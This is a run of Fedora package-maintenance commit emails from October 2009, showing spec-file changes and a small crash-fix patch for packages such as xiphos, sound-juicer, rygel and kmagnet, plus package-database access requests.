--- .cvsignore	11 Aug 2009 04:46:25 -0000	1.3
+++ .cvsignore	27 Oct 2009 16:32:17 -0000	1.4
@@ -1 +1 @@
-xiphos-3.1.1.tar.gz
+xiphos-3.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Aug 2009 04:46:25 -0000	1.3
+++ sources	27 Oct 2009 16:32:17 -0000	1.4
@@ -1 +1 @@
-a968d57375f46ef1cae4a153600616a9  xiphos-3.1.1.tar.gz
+6ba1c80362ccce30e86d21b775511995  xiphos-3.1.tar.gz


Index: xiphos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/xiphos.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- xiphos.spec	11 Aug 2009 04:46:25 -0000	1.3
+++ xiphos.spec	27 Oct 2009 16:32:17 -0000	1.4
@@ -7,6 +7,7 @@ Group:		Applications/Text
 License:	GPLv2+
 URL:		http://xiphos.sourceforge.net/
 Source0:	http://downloads.sourceforge.net/gnomesword/xiphos-%{version}.tar.gz
+Patch0:		xiphos-rhel5-build.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	sword-devel >= 1.5.11
@@ -33,6 +34,8 @@ Project and elsewhere.
 
 %prep
 %setup -q
+%patch0 -p0 -b .rhel5
+autoreconf -f -i
 
 %build
 %configure
@@ -43,6 +46,7 @@ rm -rf %buildroot
 make install DESTDIR=%buildroot
 
 desktop-file-install --delete-original \
+	--vendor=EPEL \
 	--remove-category=X-Red-Hat-Extra \
 	--remove-category=Application	\
 	--add-category=X-Bible		\
@@ -73,12 +77,12 @@ scrollkeeper-update -q || :
 %_bindir/gnomesword2
 %_datadir/xiphos
 %_datadir/pixmaps/xiphos
-%_datadir/applications/xiphos.desktop
+%_datadir/applications/EPEL-xiphos.desktop
 %_datadir/gnome/help/xiphos
 
 %changelog
-* Mon Aug 10 2009 Deji Akingunola <dakingun at gmail.com> - 3.1.1-1
-- New upstream version
+* Tue Oct 27 2009 Deji Akingunola <dakingun at gmail.com> - 3.1.1-1
+- Build for EPEL5
 
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From hadess at fedoraproject.org  Tue Oct 27 16:32:26 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 16:32:26 +0000 (UTC)
Subject: rpms/sound-juicer/F-12
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch, NONE,
	1.1 sound-juicer.spec, 1.122, 1.123
Message-ID: <20091027163226.D021F11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/sound-juicer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24476

Modified Files:
	sound-juicer.spec 
Added Files:
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-4
- Fix crasher when extracting a CD that's not in musicbrainz (#528297)


0001-Fix-crasher-when-extracting-an-unknown-CD.patch:
 sj-metadata-gvfs.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE 0001-Fix-crasher-when-extracting-an-unknown-CD.patch ---
>From 032ba8456631f6bfb361cbc75bdb8b29ceff5672 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Tue, 27 Oct 2009 16:01:37 +0000
Subject: [PATCH] Fix crasher when extracting an unknown CD

If the album data isn't set in the track, then we can't
get to the album title, and kaboom!
---
 libjuicer/sj-metadata-gvfs.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/libjuicer/sj-metadata-gvfs.c b/libjuicer/sj-metadata-gvfs.c
index 8ccdd4c..7389d7f 100644
--- a/libjuicer/sj-metadata-gvfs.c
+++ b/libjuicer/sj-metadata-gvfs.c
@@ -124,6 +124,7 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
 
     track = g_new0 (TrackDetails, 1);
     track->number = i;
+    track->album = album;
     track->title = g_strdup (g_file_info_get_attribute_string (info, "xattr::org.gnome.audio.title"));
     if (track->title == NULL)
       track->title = g_strdup_printf (_("Track %d"), i);
-- 
1.6.5.rc2



Index: sound-juicer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sound-juicer/F-12/sound-juicer.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sound-juicer.spec	28 Sep 2009 14:11:58 -0000	1.122
+++ sound-juicer.spec	27 Oct 2009 16:32:26 -0000	1.123
@@ -8,7 +8,7 @@
 Name:		sound-juicer
 Summary:	Clean and lean CD ripper
 Version:	2.28.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	GPLv2+
 Group:		Applications/Multimedia
 Source:		http://download.gnome.org/sources/sound-juicer/2.28/%{name}-%{version}.tar.bz2
@@ -42,6 +42,7 @@ BuildRequires:  desktop-file-utils
 
 # already upstream, bfc60ae0bc2e8e41a234f4017600088b22af13d6
 Patch0: sound-juicer-2.28.0-use-gnome-session-inhibit.patch
+Patch1: 0001-Fix-crasher-when-extracting-an-unknown-CD.patch
 
 ExcludeArch: s390 s390x
 
@@ -51,6 +52,7 @@ GStreamer-based CD ripping tool. Saves a
 %prep
 %setup -q
 %patch0 -p1 -b .inhibit-gnome-session
+%patch1 -p1 -b .gvfs
 
 %build
 # work around a gstreamer problem where it
@@ -129,6 +131,9 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-4
+- Fix crasher when extracting a CD that's not in musicbrainz (#528297)
+
 * Mon Sep 28 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.0-3
 - Apply a patch from upstream to inhibit gnome-session, rather than
   gnome-power-manager. This fixes a warning on rawhide when using sound-juicer.



From deji at fedoraproject.org  Tue Oct 27 16:39:17 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Tue, 27 Oct 2009 16:39:17 +0000 (UTC)
Subject: rpms/xiphos/EL-5 sources,1.4,1.5
Message-ID: <20091027163917.40AC211C00E6@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/xiphos/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26311

Modified Files:
	sources 
Log Message:
Use the right source tarball



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	27 Oct 2009 16:32:17 -0000	1.4
+++ sources	27 Oct 2009 16:39:16 -0000	1.5
@@ -1 +1 @@
-6ba1c80362ccce30e86d21b775511995  xiphos-3.1.tar.gz
+a968d57375f46ef1cae4a153600616a9  xiphos-3.1.1.tar.gz



From hadess at fedoraproject.org  Tue Oct 27 16:44:40 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 16:44:40 +0000 (UTC)
Subject: rpms/sound-juicer/F-12
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch, 1.1, 1.2
Message-ID: <20091027164440.2A17D11C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/sound-juicer/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27822

Modified Files:
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch 
Log Message:
Fix patch application

0001-Fix-crasher-when-extracting-an-unknown-CD.patch:
 b/libjuicer/sj-metadata-gvfs.c |    6 +++---
 libjuicer/sj-metadata-gvfs.c   |    2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

Index: 0001-Fix-crasher-when-extracting-an-unknown-CD.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sound-juicer/F-12/0001-Fix-crasher-when-extracting-an-unknown-CD.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Fix-crasher-when-extracting-an-unknown-CD.patch	27 Oct 2009 16:32:26 -0000	1.1
+++ 0001-Fix-crasher-when-extracting-an-unknown-CD.patch	27 Oct 2009 16:44:39 -0000	1.2
@@ -1,14 +1,30 @@
-From 032ba8456631f6bfb361cbc75bdb8b29ceff5672 Mon Sep 17 00:00:00 2001
-From: Bastien Nocera <hadess at hadess.net>
-Date: Tue, 27 Oct 2009 16:01:37 +0000
-Subject: [PATCH] Fix crasher when extracting an unknown CD
-
-If the album data isn't set in the track, then we can't
-get to the album title, and kaboom!
----
- libjuicer/sj-metadata-gvfs.c |    1 +
- 1 files changed, 1 insertions(+), 0 deletions(-)
-
+diff --git a/libjuicer/sj-metadata-gvfs.c b/libjuicer/sj-metadata-gvfs.c
+index fc41d51..8ccdd4c 100644
+--- a/libjuicer/sj-metadata-gvfs.c
++++ b/libjuicer/sj-metadata-gvfs.c
+@@ -76,7 +76,7 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
+   GFile *file = NULL;
+   GFileInfo *info;
+   GFileEnumerator *e;
+-  guint i = 0;
++  guint i = 1;
+ 
+   g_return_val_if_fail (SJ_IS_METADATA_GVFS (metadata), NULL);
+ 
+@@ -119,11 +119,11 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
+ 
+   for (info = g_file_enumerator_next_file (e, NULL, NULL) ;
+        info != NULL ;
+-       info = g_file_enumerator_next_file (e, NULL, NULL)) {
++       info = g_file_enumerator_next_file (e, NULL, NULL), i++) {
+     TrackDetails *track;
+ 
+     track = g_new0 (TrackDetails, 1);
+-    track->number = i++;
++    track->number = i;
+     track->title = g_strdup (g_file_info_get_attribute_string (info, "xattr::org.gnome.audio.title"));
+     if (track->title == NULL)
+       track->title = g_strdup_printf (_("Track %d"), i);
 diff --git a/libjuicer/sj-metadata-gvfs.c b/libjuicer/sj-metadata-gvfs.c
 index 8ccdd4c..7389d7f 100644
 --- a/libjuicer/sj-metadata-gvfs.c



From hadess at fedoraproject.org  Tue Oct 27 16:54:23 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 16:54:23 +0000 (UTC)
Subject: rpms/sound-juicer/devel
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch, NONE,
	1.1 sound-juicer.spec, 1.122, 1.123
Message-ID: <20091027165423.9DE0411C00E6@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/sound-juicer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31948

Modified Files:
	sound-juicer.spec 
Added Files:
	0001-Fix-crasher-when-extracting-an-unknown-CD.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-4
- Fix crasher when extracting a CD that's not in musicbrainz (#528297)


0001-Fix-crasher-when-extracting-an-unknown-CD.patch:
 b/libjuicer/sj-metadata-gvfs.c |    6 +++---
 libjuicer/sj-metadata-gvfs.c   |    2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Fix-crasher-when-extracting-an-unknown-CD.patch ---
diff --git a/libjuicer/sj-metadata-gvfs.c b/libjuicer/sj-metadata-gvfs.c
index fc41d51..8ccdd4c 100644
--- a/libjuicer/sj-metadata-gvfs.c
+++ b/libjuicer/sj-metadata-gvfs.c
@@ -76,7 +76,7 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
   GFile *file = NULL;
   GFileInfo *info;
   GFileEnumerator *e;
-  guint i = 0;
+  guint i = 1;
 
   g_return_val_if_fail (SJ_IS_METADATA_GVFS (metadata), NULL);
 
@@ -119,11 +119,11 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
 
   for (info = g_file_enumerator_next_file (e, NULL, NULL) ;
        info != NULL ;
-       info = g_file_enumerator_next_file (e, NULL, NULL)) {
+       info = g_file_enumerator_next_file (e, NULL, NULL), i++) {
     TrackDetails *track;
 
     track = g_new0 (TrackDetails, 1);
-    track->number = i++;
+    track->number = i;
     track->title = g_strdup (g_file_info_get_attribute_string (info, "xattr::org.gnome.audio.title"));
     if (track->title == NULL)
       track->title = g_strdup_printf (_("Track %d"), i);
diff --git a/libjuicer/sj-metadata-gvfs.c b/libjuicer/sj-metadata-gvfs.c
index 8ccdd4c..7389d7f 100644
--- a/libjuicer/sj-metadata-gvfs.c
+++ b/libjuicer/sj-metadata-gvfs.c
@@ -124,6 +124,7 @@ gvfs_list_albums (SjMetadata *metadata, char **url, GError **error)
 
     track = g_new0 (TrackDetails, 1);
     track->number = i;
+    track->album = album;
     track->title = g_strdup (g_file_info_get_attribute_string (info, "xattr::org.gnome.audio.title"));
     if (track->title == NULL)
       track->title = g_strdup_printf (_("Track %d"), i);
-- 
1.6.5.rc2



Index: sound-juicer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sound-juicer/devel/sound-juicer.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- sound-juicer.spec	28 Sep 2009 14:11:58 -0000	1.122
+++ sound-juicer.spec	27 Oct 2009 16:54:22 -0000	1.123
@@ -8,7 +8,7 @@
 Name:		sound-juicer
 Summary:	Clean and lean CD ripper
 Version:	2.28.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	GPLv2+
 Group:		Applications/Multimedia
 Source:		http://download.gnome.org/sources/sound-juicer/2.28/%{name}-%{version}.tar.bz2
@@ -42,6 +42,7 @@ BuildRequires:  desktop-file-utils
 
 # already upstream, bfc60ae0bc2e8e41a234f4017600088b22af13d6
 Patch0: sound-juicer-2.28.0-use-gnome-session-inhibit.patch
+Patch1: 0001-Fix-crasher-when-extracting-an-unknown-CD.patch
 
 ExcludeArch: s390 s390x
 
@@ -51,6 +52,7 @@ GStreamer-based CD ripping tool. Saves a
 %prep
 %setup -q
 %patch0 -p1 -b .inhibit-gnome-session
+%patch1 -p1 -b .gvfs
 
 %build
 # work around a gstreamer problem where it
@@ -129,6 +131,9 @@ fi
 %{_mandir}/man1/*
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.0-4
+- Fix crasher when extracting a CD that's not in musicbrainz (#528297)
+
 * Mon Sep 28 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.0-3
 - Apply a patch from upstream to inhibit gnome-session, rather than
   gnome-power-manager. This fixes a warning on rawhide when using sound-juicer.



From deji at fedoraproject.org  Tue Oct 27 16:58:55 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Tue, 27 Oct 2009 16:58:55 +0000 (UTC)
Subject: rpms/xiphos/EL-5 xiphos.spec,1.4,1.5
Message-ID: <20091027165855.BF68411C00E6@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/xiphos/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv513

Modified Files:
	xiphos.spec 
Log Message:
Buildrequire automake and co. (for the configure patch)



Index: xiphos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/xiphos.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- xiphos.spec	27 Oct 2009 16:32:17 -0000	1.4
+++ xiphos.spec	27 Oct 2009 16:58:55 -0000	1.5
@@ -25,6 +25,8 @@ Requires(post):	scrollkeeper
 Requires(postun):	scrollkeeper
 Obsoletes:	gnomesword < 2.4.2
 Provides:	gnomesword = %{version}-%{release}
+# Temporarily requires automake and friend for the configure patch
+BuildRequires:	automake autoconf
 
 %description
 Xiphos (formerly known as GnomeSword) is a Bible study tool written for Linux,



From pkgdb at fedoraproject.org  Tue Oct 27 17:00:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:00:38 +0000
Subject: [pkgdb] trousers: michich has requested watchbugzilla
Message-ID: <20091027170038.4230810F87F@bastion2.fedora.phx.redhat.com>

michich has requested the watchbugzilla acl on trousers (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:00:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:00:40 +0000
Subject: [pkgdb] trousers: michich has requested watchcommits
Message-ID: <20091027170040.1BF5B10F88B@bastion2.fedora.phx.redhat.com>

michich has requested the watchcommits acl on trousers (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:00:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:00:41 +0000
Subject: [pkgdb] trousers: michich has requested commit
Message-ID: <20091027170041.5461F10F89C@bastion2.fedora.phx.redhat.com>

michich has requested the commit acl on trousers (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:00:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:00:57 +0000
Subject: [pkgdb] trousers: michich has requested watchbugzilla
Message-ID: <20091027170057.EEB3C10F89C@bastion2.fedora.phx.redhat.com>

michich has requested the watchbugzilla acl on trousers (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:01 +0000
Subject: [pkgdb] trousers: michich has requested watchcommits
Message-ID: <20091027170101.5CF4C10F8A3@bastion2.fedora.phx.redhat.com>

michich has requested the watchcommits acl on trousers (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:05 +0000
Subject: [pkgdb] trousers: michich has requested commit
Message-ID: <20091027170105.85B7110F8A8@bastion2.fedora.phx.redhat.com>

michich has requested the commit acl on trousers (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:14 +0000
Subject: [pkgdb] trousers: michich has requested watchcommits
Message-ID: <20091027170114.E29B610F87F@bastion2.fedora.phx.redhat.com>

michich has requested the watchcommits acl on trousers (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:17 +0000
Subject: [pkgdb] trousers: michich has requested commit
Message-ID: <20091027170117.1FA2C10F89A@bastion2.fedora.phx.redhat.com>

michich has requested the commit acl on trousers (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:21 +0000
Subject: [pkgdb] trousers: michich has requested watchbugzilla
Message-ID: <20091027170121.BF03910F880@bastion2.fedora.phx.redhat.com>

michich has requested the watchbugzilla acl on trousers (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:35 +0000
Subject: [pkgdb] trousers: michich has requested watchcommits
Message-ID: <20091027170135.CE3F410F87E@bastion2.fedora.phx.redhat.com>

michich has requested the watchcommits acl on trousers (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:37 +0000
Subject: [pkgdb] trousers: michich has requested commit
Message-ID: <20091027170137.A365D10F88B@bastion2.fedora.phx.redhat.com>

michich has requested the commit acl on trousers (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From pkgdb at fedoraproject.org  Tue Oct 27 17:01:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 17:01:38 +0000
Subject: [pkgdb] trousers: michich has requested watchbugzilla
Message-ID: <20091027170138.D79BF10F89C@bastion2.fedora.phx.redhat.com>

michich has requested the watchbugzilla acl on trousers (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/trousers



From twoerner at fedoraproject.org  Tue Oct 27 17:12:21 2009
From: twoerner at fedoraproject.org (Thomas Woerner)
Date: Tue, 27 Oct 2009 17:12:21 +0000 (UTC)
Subject: rpms/SDL/devel SDL.spec,1.67,1.68
Message-ID: <20091027171221.6EAA611C00E6@cvs1.fedora.phx.redhat.com>

Author: twoerner

Update of /cvs/pkgs/rpms/SDL/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4725

Modified Files:
	SDL.spec 
Log Message:
- add buildrequires for libtool



Index: SDL.spec
===================================================================
RCS file: /cvs/pkgs/rpms/SDL/devel/SDL.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- SDL.spec	27 Oct 2009 12:52:46 -0000	1.67
+++ SDL.spec	27 Oct 2009 17:12:21 -0000	1.68
@@ -19,7 +19,7 @@ BuildRequires: pulseaudio-libs-devel
 BuildRequires: libXext-devel libX11-devel
 BuildRequires: libGL-devel libGLU-devel
 BuildRequires: libXrender-devel libXrandr-devel gettext-devel
-BuildRequires: automake autoconf
+BuildRequires: automake autoconf libtool
 %ifarch %{ix86}
 BuildRequires: nasm
 %endif



From rrix at fedoraproject.org  Tue Oct 27 17:33:57 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 17:33:57 +0000 (UTC)
Subject: rpms/kmagnet/devel kmagnet-desktop-category.patch, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091027173357.DDBDF11C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10746

Modified Files:
	.cvsignore sources 
Added Files:
	kmagnet-desktop-category.patch 
Log Message:

Initial commit of devel/ branch.


kmagnet-desktop-category.patch:
 kmagnet.desktop |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE kmagnet-desktop-category.patch ---
diff -Nur kmagnet-0.03/src/kmagnet.desktop kmagnet-0.03-fedora/src/kmagnet.desktop
--- kmagnet-0.03/src/kmagnet.desktop	2009-10-15 16:55:13.000000000 -0700
+++ kmagnet-0.03-fedora/src/kmagnet.desktop	2009-10-16 20:08:06.541577949 -0700
@@ -1,4 +1,3 @@
-#!/usr/bin/env xdg-open
 [Desktop Entry]
 Name=kMagnet
 Name[x-test]=xxkMagnetxx
@@ -9,5 +8,5 @@
 GenericName=Simple puzzle game
 GenericName[ca]=Trencaclosques senzill
 Terminal=0
-Categories=Qt;KDE;Game;PuzzleGame;
+Categories=Qt;KDE;Game;LogicGame;
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:57:03 -0000	1.1
+++ .cvsignore	27 Oct 2009 17:33:56 -0000	1.2
@@ -0,0 +1 @@
+109111-kmagnet-0.03.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kmagnet/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:57:03 -0000	1.1
+++ sources	27 Oct 2009 17:33:56 -0000	1.2
@@ -0,0 +1 @@
+1e996f149ea0a9fe11c73191a582088b  109111-kmagnet-0.03.tar.bz2



From pbrobinson at fedoraproject.org  Tue Oct 27 17:34:04 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Tue, 27 Oct 2009 17:34:04 +0000 (UTC)
Subject: rpms/rygel/devel rygel.spec,1.16,1.17
Message-ID: <20091027173404.A621411C00E6@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rygel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11418

Modified Files:
	rygel.spec 
Log Message:
- Add and change new files.


Index: rygel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rygel/devel/rygel.spec,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- rygel.spec	27 Oct 2009 15:54:22 -0000	1.16
+++ rygel.spec	27 Oct 2009 17:34:03 -0000	1.17
@@ -1,6 +1,6 @@
 Name:           rygel
 Version:        0.4.4
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A UPnP v2 Media Server
 
 Group:          Applications/Multimedia
@@ -9,9 +9,6 @@ URL:            http://live.gnome.org/Ry
 Source0:        ftp://ftp.gnome.org/pub/GNOME/sources/%{name}/%{version}/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# https://bugzilla.gnome.org/show_bug.cgi?id=596211
-Patch0:        0001-core-data-Forgotten-update-to-Rygel-D-Bus-paths.patch
-
 BuildRequires: dbus-glib-devel
 BuildRequires: desktop-file-utils
 BuildRequires: gstreamer-devel
@@ -53,7 +50,7 @@ A plugin for rygel to use tracker to loc
 %setup -q
 
 %build
-%configure --enable-tracker-plugin --enable-media-export-plugin --enable-external-plugin --enable-mediathek-plugin --enable-gstlaunch-plugin --disable-silent-rules
+%configure --enable-tracker-plugin --enable-media-export-plugin --enable-external-plugin --enable-mediathek-plugin --enable-gst-launch-plugin --disable-silent-rules
 make %{?_smp_mflags} V=1
 
 %install
@@ -78,7 +75,8 @@ rm -rf %{buildroot}
 %{_bindir}/rygel-preferences
 %{_libdir}/rygel-1.0/librygel-external.so
 %{_libdir}/rygel-1.0/librygel-media-export.so
-%{_libdir}/rygel-1.0/librygel-gstlaunch.so
+%{_libdir}/rygel-1.0/librygel-gst-launch.so
+%{_libdir}/rygel-1.0/librygel-gst-renderer.so
 %{_libdir}/rygel-1.0/librygel-mediathek.so
 %{_datadir}/rygel/
 %{_datadir}/applications/rygel*
@@ -96,6 +94,9 @@ rm -rf %{buildroot}
 %{_datadir}/vala/vapi/rygel-1.0.vapi
 
 %changelog
+* Tue Oct 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.4-2
+- Add and change new files.
+
 * Tue Oct 27 2009 Peter Robinson <pbrobinson at gmail.com> 0.4.4-1
 - Update to 0.4.4
 



From rrix at fedoraproject.org  Tue Oct 27 17:38:29 2009
From: rrix at fedoraproject.org (Ryan Rix)
Date: Tue, 27 Oct 2009 17:38:29 +0000 (UTC)
Subject: rpms/kmagnet/devel kmagnet.spec,NONE,1.1
Message-ID: <20091027173829.774A011C00E6@cvs1.fedora.phx.redhat.com>

Author: rrix

Update of /cvs/pkgs/rpms/kmagnet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12523

Added Files:
	kmagnet.spec 
Log Message:

Added spec file



--- NEW FILE kmagnet.spec ---
Name:           kmagnet
Version:        0.03
Release:        5%{?dist}
Summary:        A simple puzzle game with a built-in puzzle editor

Group:          Amusements/Games
License:        GPLv3+
URL:            http://kde-apps.org/content/show.php/kmagnet?content=109111
Source0:        http://www.kde-apps.org/CONTENT/content-files/109111-%{name}-%{version}.tar.bz2
Patch0:         kmagnet-desktop-category.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  kdegames-devel

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
Kmagnet is a simple puzzle game with a built-in puzzle editor. Basically you 
can move the ball up down left or right and it stops when it finds an 
obstacle or arrives to a hole. To win the ball has to arrive to a hole.


%prep
%setup -q
%patch0 -p1


%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
%{cmake_kde4} ..
popd

make %{?_smp_mflags} -C %{_target_platform}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot} -C %{_target_platform}

desktop-file-validate %{buildroot}%{_kde4_datadir}/applications/kde4/%{name}.desktop


%clean
rm -rf %{buildroot}


%post 
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :


%postun
if [ $1 -eq 0 ] ; then
        touch --no-create %{_kde4_iconsdir}/hicolor &>/dev/null
        gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &>/dev/null || :
fi


%posttrans
gtk-update-icon-cache %{_kde4_iconsdir}/hicolor &> /dev/null || :


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING README TODO
%{_kde4_bindir}/%{name}
%{_kde4_datadir}/applications/kde4/%{name}.desktop
%{_kde4_datadir}/config.kcfg/%{name}.kcfg
%{_kde4_docdir}/HTML/en/%{name}/
%{_kde4_iconsdir}/hicolor/*/*/*
%{_kde4_appsdir}/kMagnet/


%changelog
* Sat Oct 17 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-5
- Fixed changelog macro usage in 0.02-3
- Removed unnecessary scriptlets
- Changed %%files to own the directories

* Fri Oct 16 2009 Ryan Rix < phrkonaleash [AT] gmail dot com > - 0.03-4
